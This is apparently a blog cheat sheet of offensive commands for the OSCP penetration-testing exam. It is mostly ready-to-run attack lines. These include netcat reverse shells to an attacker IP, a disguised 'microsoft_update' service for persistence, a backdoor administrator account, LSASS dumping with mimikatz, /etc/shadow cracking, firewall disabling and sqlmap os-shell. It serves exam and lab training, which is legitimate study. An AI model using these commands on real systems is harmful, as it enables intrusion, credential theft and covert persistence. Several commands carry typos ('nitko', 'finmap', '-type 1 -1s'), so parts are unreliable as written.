## **OSCP Cheat Sheet**

2 4 minute read

Here are some commands that I found helpful during the OSCP. I encourage you to take a look at the resource links that I've posted here to go in further detail in many of these topics.

### **Pre**

### **Scanning**

**Quick Pass** 

nmap <IP> --top-ports 10 --open

Intense scan

nmap -p 1-65535 -T4 -A -v <IP>

#### Web

```
nitko -h <IP>
dirb http://<IP> /usr/share/wordlists/dirb/<insert related list>

finmap -u <IP>
./dotdotpwn.pl -m <MODULE> -h <HOST> [OPTIONS]

wpscan -url http://<IP>/ -enumerate p

File Include Resource 1 (https://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/)

File Include Resource 2 (http://www.hackersonlineclub.com/lfi-rfi)

File Include Resource 3 (https://0xzoidberg.wordpress.com/category/security/lfi-rfi/)
```

#### SMB/RPC

```
enum4linux -a <IP>
nmap --script=smb* -p <PORTS> <IP>
rpcclient <IP> -U "" -N
showmount -e <IP>/<PORT>
mount -t cifs //<IP>/<SHARE> <LOCAL DIRECTORY> -o username="guest",password=""
net view \\<IP>
nbtscan -r <IP>
smbclient -L \\<IP> -U "" -N
rlogin <IP>
nmblookup -A target
```

#### **SQL**

SQL Injection Cheat Sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
Backdoor SQL Injection (http://resources.infosecinstitute.com/backdoor-sql-injection/)

```
nmap -sV -Pn -vv -script=mysql* <IP> -p <PORT>
sqlmap -u <IP> -crawl=1
sqlmap -u http://<IP>/page.php?commen=761 -DBMS=mysql -os-shell
```

#### **SMTP**

```
nmap -script=smtp* -p <PORT> <IP>
```

#### **SNMP**

```
snmpwalk -c public -v1 <IP>
snmpenum -t <IP>
Onesixtyone - c <COMMUNITY FILE> -I <IP>
```

#### **FTP**

```
nmap -script=ftp* -p <PORT> <IP>
ftp://<IP>
```

#### DNS

```
./dnsrecon.py -d <DOMAIN>
./dnsrecon.py -d <DOMAIN> -t axfr

./dnsrecon.py -d <DOMAIN> -D <NAME LIST> -t brt

./dnsrecon.py -d <HOST> -t zonewalk

nmap -script=dns-zone-transfer -p 53 ns2.megacorpone.com

nmap <IP> -p- -sV --reason --dns-server 1.2.3.4
```

#### Pass-the-Hash

pth-winexe -U <HASH> //<IP> cmd

# **During**

### **Password Cracking**

Discover type of hash that you have

hash-identifier

### John the Ripper

/etc/shadow cracking

- · Create a file with passwd
- · Create a file with shadow
- Combine into one document

```
-unshadow <passwd file location> <shadow file location> > <new combined file>
john --wordlist=<any word list> <combined file location>
```

### **Hydra**

```
Hydra -L <USER FILE> -P <PASS FILE> -v <IP> ssh
```

#### Medusa

```
Medusa -h <IP> -U <USER FILE> -P <PASS FILE> -M http -m DIR:/admin -T 30
```

#### Hashcat

```
hashcat -m 400 -a 0 <HASH FILE> <WORD LIST>
```

#### **TTY Shells**

See TTY Shells (http://thor-sec.com/cheatsheet/tty\_spawnage/) section

### **Metaplsoit Payloads**

See msfvenom cheat sheet (http://thor-sec.com/cheatsheet/msfvenom\_cheat\_sheet/) section

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### **Metasploit commands**

8/30/2017

```
sysinfo

getuid

search -f *pass*.txt

shell

getprivs

session -i 1 —puts you back into your session
```

### Turn a regular shell into a meterpreter shell

#### Attacker

```
use exploit/multi/handler

set payload windows/shell/reverse_tcp

set lhost <IP>
set lport <PORT>

run
```

#### Target

```
O nc -vn <IP> <PORT> -e cmd.exe
```

#### Attacker

- o Ctrl+Z (to background session)
- sessions -1 (this will list your sessions to verify which one it is)
- O setg rhost <IP>
- O setg lhost <IP>
- o sessions -u 1 (the 1 is the session number)

#### **Netcat**

See Netcat cheat sheet (http://thor-sec.com/cheatsheet/netcat\_cheatsheet/) section

### **Useful Windows Commands**

```
net view
net user
net localgroup Users
net localgroup Administrators
net user hacker password1 /add
net localgroup administrators hacker /add
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d <IP> <PORT> -e cmd.exe" start= auto error=
ignore
C:\nc.exe -e c:\windows\system32\cmd.exe -vv <IP> <PORT>
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
(32-bit) C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp
(64-bit) C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d
0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```

```
netsh firewall set opmode disable
%SYSTEMDRIVE%\boot.ini
%WINDRIVE%\win.ini
type %WINDRIVE%\System32\drivers\etc\hosts
```

#### **Useful Nix Commands**

```
SUID root files find / -user root -perm -4000 -print

SGID root files: find / -group root -perm -2000 -print

SUID & SGID files ownership find / -perm -4000 -o -perm -2000 -print

Files not owned by anyone find / -nouser -print

Files not owned by any group find / -nogroup -print

Symlinks and their pointers find / -type 1 -1s
```

#### Download an EXE from FTP server

```
echo open IP> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo get nc.exe>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt
```

#### Shells

See resources (http://thor-sec.com/review/oscp\_review/#resource) section

Reverse Shell Cheat Sheet (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

### **Post**

### Windows looting (brief)

```
systeminfo

type boot.ini
hostname
ipconfig /all
netstat -ano
net users
net localgroup
route print
arp -A
netsh firewall show state
netsh firewall show config
```

```
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v
net start
accesschk.exe -uwcqv "Authenticated Users" *
dir network-secret.txt /s
windump -i 2 -w capture -n -U -s 0 src not <IP> and dst not <IP>
```

### Nix looting (brief)

```
locate proof.txt/network-secret.txt
find -name "proof.txt"/"network-secret.txt"
uname -a
cat /proc/version
cat /etc/passwd
cat /etc/shadow
cat /etc/group
ls -alR | grep ^d
ifconfig -a
netstat -ano
cat /etc/hosts
```

```
tcpdump -i eth0 -w capture -n -U -s 0 src not <IP> and dst not <IP>
tcpdump -vv -i eth0 src not <IP> and dst not <IP>
```

### **Packet Sniffing**

```
tcpdump -i tap0 host <IP> tcp port 80 and not arp and not icmp -vv

tcpdump -i eth0 -w capture -n -U -s 0 src not <ATTACKING IP> and dst not <ATTACKING IP>

tcpdump -vv -i eth0 src not <ATTACKING IP> and dst not <ATTACKING IP>
```

### **Other**

## **Quick Kali Configuration**

#### SSH

- Start service ssh start
- Stop service ssh stop

#### **HTTP Service**

Start

service apache2 start

• Verify its running

http://127.0.0.1

- Directory /var/www/
- Stop

service apache2 stop

### **Update boot sequence**

```
update-rc.d ssh enable
update-rc.d apache2 enable
rcconf (GUI)
```

### **Compiling Exploits**

```
32-bit
```

gcc -m32 -o output32 hello.c

64-bit

gcc -o output hello.c

### **Windows Compiling**

```
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o exploit.exe /tmp/exploit.c -lwsock32
wine exploit.exe
```

- Tags: OSCP (http://thor-sec.com/tags/#oscp)
- Categories: Cheatsheet (http://thor-sec.com/categories/#cheatsheet)

OSCP (http://thor-sec.com/categories/#oscp)

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http://thor-sec.com/cheatsheet/oscp/oscp\_cheat\_sheet/

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